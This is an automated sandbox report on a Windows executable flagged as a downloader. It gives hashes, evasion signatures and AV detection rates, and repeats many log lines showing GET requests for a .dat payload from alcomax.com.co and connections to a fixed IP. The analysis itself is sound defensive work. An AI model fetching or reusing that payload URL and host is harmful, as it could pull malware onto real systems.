Edit tour

Windows Analysis Report
XTN1VzRJZm.exe

Overview

General Information

Sample name:	XTN1VzRJZm.exe renamed because original name is a hash value
Original sample name:	122a1ed5d5eacadd2c4049dd3f687e17d18ab5ec947f304057deed9d885be866.exe
Analysis ID:	1631796
MD5:	f82cd0ba1b196fe665ff36de7d0a0cbd
SHA1:	a251975395405e88c4a28e389bc9bfd9a7e4c747
SHA256:	122a1ed5d5eacadd2c4049dd3f687e17d18ab5ec947f304057deed9d885be866
Tags:	exeuser-adrian__luca
Infos:

Detection

Score:	56
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

.NET source code contains potential unpacker

Joe Sandbox ML detected suspicious sample

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

XTN1VzRJZm.exe (PID: 6188 cmdline: "C:\Users\user\Desktop\XTN1VzRJZm.exe" MD5: F82CD0BA1B196FE665FF36DE7D0A0CBD)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T16:06:57.667364+0100	2803305	3	Unknown Traffic	192.168.2.10	49682	204.44.192.90	443	TCP
2025-03-07T16:07:00.448340+0100	2803305	3	Unknown Traffic	192.168.2.10	49683	204.44.192.90	443	TCP
2025-03-07T16:07:03.428267+0100	2803305	3	Unknown Traffic	192.168.2.10	49684	204.44.192.90	443	TCP
2025-03-07T16:07:06.108463+0100	2803305	3	Unknown Traffic	192.168.2.10	49688	204.44.192.90	443	TCP
2025-03-07T16:07:08.757307+0100	2803305	3	Unknown Traffic	192.168.2.10	49690	204.44.192.90	443	TCP
2025-03-07T16:07:11.370434+0100	2803305	3	Unknown Traffic	192.168.2.10	49692	204.44.192.90	443	TCP
2025-03-07T16:07:14.191847+0100	2803305	3	Unknown Traffic	192.168.2.10	49693	204.44.192.90	443	TCP
2025-03-07T16:07:16.932577+0100	2803305	3	Unknown Traffic	192.168.2.10	49694	204.44.192.90	443	TCP
2025-03-07T16:07:19.593841+0100	2803305	3	Unknown Traffic	192.168.2.10	49695	204.44.192.90	443	TCP
2025-03-07T16:07:22.332280+0100	2803305	3	Unknown Traffic	192.168.2.10	49696	204.44.192.90	443	TCP
2025-03-07T16:07:24.991730+0100	2803305	3	Unknown Traffic	192.168.2.10	49697	204.44.192.90	443	TCP
2025-03-07T16:07:27.712550+0100	2803305	3	Unknown Traffic	192.168.2.10	49698	204.44.192.90	443	TCP
2025-03-07T16:07:30.400987+0100	2803305	3	Unknown Traffic	192.168.2.10	49699	204.44.192.90	443	TCP
2025-03-07T16:07:33.398485+0100	2803305	3	Unknown Traffic	192.168.2.10	49700	204.44.192.90	443	TCP
2025-03-07T16:07:36.156123+0100	2803305	3	Unknown Traffic	192.168.2.10	49703	204.44.192.90	443	TCP
2025-03-07T16:07:38.853348+0100	2803305	3	Unknown Traffic	192.168.2.10	49704	204.44.192.90	443	TCP
2025-03-07T16:07:41.545530+0100	2803305	3	Unknown Traffic	192.168.2.10	49705	204.44.192.90	443	TCP
2025-03-07T16:07:44.209659+0100	2803305	3	Unknown Traffic	192.168.2.10	49706	204.44.192.90	443	TCP
2025-03-07T16:07:46.857663+0100	2803305	3	Unknown Traffic	192.168.2.10	49707	204.44.192.90	443	TCP
2025-03-07T16:07:49.507839+0100	2803305	3	Unknown Traffic	192.168.2.10	49708	204.44.192.90	443	TCP
2025-03-07T16:07:52.278456+0100	2803305	3	Unknown Traffic	192.168.2.10	49709	204.44.192.90	443	TCP
2025-03-07T16:07:54.878374+0100	2803305	3	Unknown Traffic	192.168.2.10	49710	204.44.192.90	443	TCP
2025-03-07T16:07:57.578859+0100	2803305	3	Unknown Traffic	192.168.2.10	49711	204.44.192.90	443	TCP
2025-03-07T16:08:00.245457+0100	2803305	3	Unknown Traffic	192.168.2.10	49712	204.44.192.90	443	TCP
2025-03-07T16:08:02.879211+0100	2803305	3	Unknown Traffic	192.168.2.10	49713	204.44.192.90	443	TCP
2025-03-07T16:08:06.448571+0100	2803305	3	Unknown Traffic	192.168.2.10	49714	204.44.192.90	443	TCP
2025-03-07T16:08:09.224922+0100	2803305	3	Unknown Traffic	192.168.2.10	49715	204.44.192.90	443	TCP
2025-03-07T16:08:11.927632+0100	2803305	3	Unknown Traffic	192.168.2.10	49716	204.44.192.90	443	TCP
2025-03-07T16:08:14.633822+0100	2803305	3	Unknown Traffic	192.168.2.10	49717	204.44.192.90	443	TCP
2025-03-07T16:08:17.344881+0100	2803305	3	Unknown Traffic	192.168.2.10	49718	204.44.192.90	443	TCP
2025-03-07T16:08:20.060191+0100	2803305	3	Unknown Traffic	192.168.2.10	49719	204.44.192.90	443	TCP
2025-03-07T16:08:22.746220+0100	2803305	3	Unknown Traffic	192.168.2.10	49720	204.44.192.90	443	TCP
2025-03-07T16:08:25.491168+0100	2803305	3	Unknown Traffic	192.168.2.10	49721	204.44.192.90	443	TCP
2025-03-07T16:08:28.187922+0100	2803305	3	Unknown Traffic	192.168.2.10	49722	204.44.192.90	443	TCP
2025-03-07T16:08:30.957975+0100	2803305	3	Unknown Traffic	192.168.2.10	49723	204.44.192.90	443	TCP
2025-03-07T16:08:33.708016+0100	2803305	3	Unknown Traffic	192.168.2.10	49724	204.44.192.90	443	TCP
2025-03-07T16:08:36.426333+0100	2803305	3	Unknown Traffic	192.168.2.10	49725	204.44.192.90	443	TCP
2025-03-07T16:08:39.111698+0100	2803305	3	Unknown Traffic	192.168.2.10	49726	204.44.192.90	443	TCP
2025-03-07T16:08:41.784590+0100	2803305	3	Unknown Traffic	192.168.2.10	49727	204.44.192.90	443	TCP
2025-03-07T16:08:44.472885+0100	2803305	3	Unknown Traffic	192.168.2.10	49728	204.44.192.90	443	TCP
2025-03-07T16:08:47.521475+0100	2803305	3	Unknown Traffic	192.168.2.10	49729	204.44.192.90	443	TCP
2025-03-07T16:08:50.842219+0100	2803305	3	Unknown Traffic	192.168.2.10	49730	204.44.192.90	443	TCP
2025-03-07T16:08:53.530874+0100	2803305	3	Unknown Traffic	192.168.2.10	49731	204.44.192.90	443	TCP
2025-03-07T16:08:56.331322+0100	2803305	3	Unknown Traffic	192.168.2.10	49732	204.44.192.90	443	TCP
2025-03-07T16:08:58.986084+0100	2803305	3	Unknown Traffic	192.168.2.10	49733	204.44.192.90	443	TCP
2025-03-07T16:09:01.730893+0100	2803305	3	Unknown Traffic	192.168.2.10	49734	204.44.192.90	443	TCP
2025-03-07T16:09:04.610127+0100	2803305	3	Unknown Traffic	192.168.2.10	49735	204.44.192.90	443	TCP
2025-03-07T16:09:07.245755+0100	2803305	3	Unknown Traffic	192.168.2.10	49736	204.44.192.90	443	TCP
2025-03-07T16:09:09.849807+0100	2803305	3	Unknown Traffic	192.168.2.10	49737	204.44.192.90	443	TCP
2025-03-07T16:09:12.649376+0100	2803305	3	Unknown Traffic	192.168.2.10	49738	204.44.192.90	443	TCP
2025-03-07T16:09:16.252490+0100	2803305	3	Unknown Traffic	192.168.2.10	49739	204.44.192.90	443	TCP
2025-03-07T16:09:19.068251+0100	2803305	3	Unknown Traffic	192.168.2.10	49740	204.44.192.90	443	TCP
2025-03-07T16:09:21.935107+0100	2803305	3	Unknown Traffic	192.168.2.10	49741	204.44.192.90	443	TCP
2025-03-07T16:09:24.703201+0100	2803305	3	Unknown Traffic	192.168.2.10	49742	204.44.192.90	443	TCP
2025-03-07T16:09:27.415848+0100	2803305	3	Unknown Traffic	192.168.2.10	49743	204.44.192.90	443	TCP
2025-03-07T16:09:30.220994+0100	2803305	3	Unknown Traffic	192.168.2.10	49744	204.44.192.90	443	TCP
2025-03-07T16:09:33.160294+0100	2803305	3	Unknown Traffic	192.168.2.10	49745	204.44.192.90	443	TCP
2025-03-07T16:09:36.108020+0100	2803305	3	Unknown Traffic	192.168.2.10	49746	204.44.192.90	443	TCP
2025-03-07T16:09:38.848948+0100	2803305	3	Unknown Traffic	192.168.2.10	49747	204.44.192.90	443	TCP
2025-03-07T16:09:41.503150+0100	2803305	3	Unknown Traffic	192.168.2.10	49748	204.44.192.90	443	TCP
2025-03-07T16:09:44.156943+0100	2803305	3	Unknown Traffic	192.168.2.10	49749	204.44.192.90	443	TCP
2025-03-07T16:09:46.913364+0100	2803305	3	Unknown Traffic	192.168.2.10	49750	204.44.192.90	443	TCP
2025-03-07T16:09:49.822430+0100	2803305	3	Unknown Traffic	192.168.2.10	49751	204.44.192.90	443	TCP
2025-03-07T16:09:52.767661+0100	2803305	3	Unknown Traffic	192.168.2.10	49752	204.44.192.90	443	TCP
2025-03-07T16:09:56.092791+0100	2803305	3	Unknown Traffic	192.168.2.10	49753	204.44.192.90	443	TCP
2025-03-07T16:09:58.897253+0100	2803305	3	Unknown Traffic	192.168.2.10	49754	204.44.192.90	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: XTN1VzRJZm.exe	Virustotal: Detection: 65%			Perma Link
Source: XTN1VzRJZm.exe	ReversingLabs: Detection: 63%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: XTN1VzRJZm.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 204.44.192.90:443 -> 192.168.2.10:49681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.44.192.90:443 -> 192.168.2.10:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.44.192.90:443 -> 192.168.2.10:49720 version: TLS 1.2

Source: XTN1VzRJZm.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49690 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49696 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49698 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49708 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49707 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49697 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49706 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49704 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49695 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49714 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49716 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49717 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49692 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49700 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49720 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49729 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49719 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49723 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49694 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49682 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49699 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49734 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49721 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49705 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49738 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49715 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49703 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49739 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49693 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49709 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49743 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49735 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49724 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49683 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49742 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49753 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49741 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49713 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49749 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49711 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49727 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49684 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49750 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49745 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49710 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49733 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49718 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49740 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49726 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49688 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49736 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49712 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49725 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49744 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49730 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49722 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49746 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49728 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49748 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49732 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49754 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49751 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49737 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49731 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49747 -> 204.44.192.90:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49752 -> 204.44.192.90:443

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
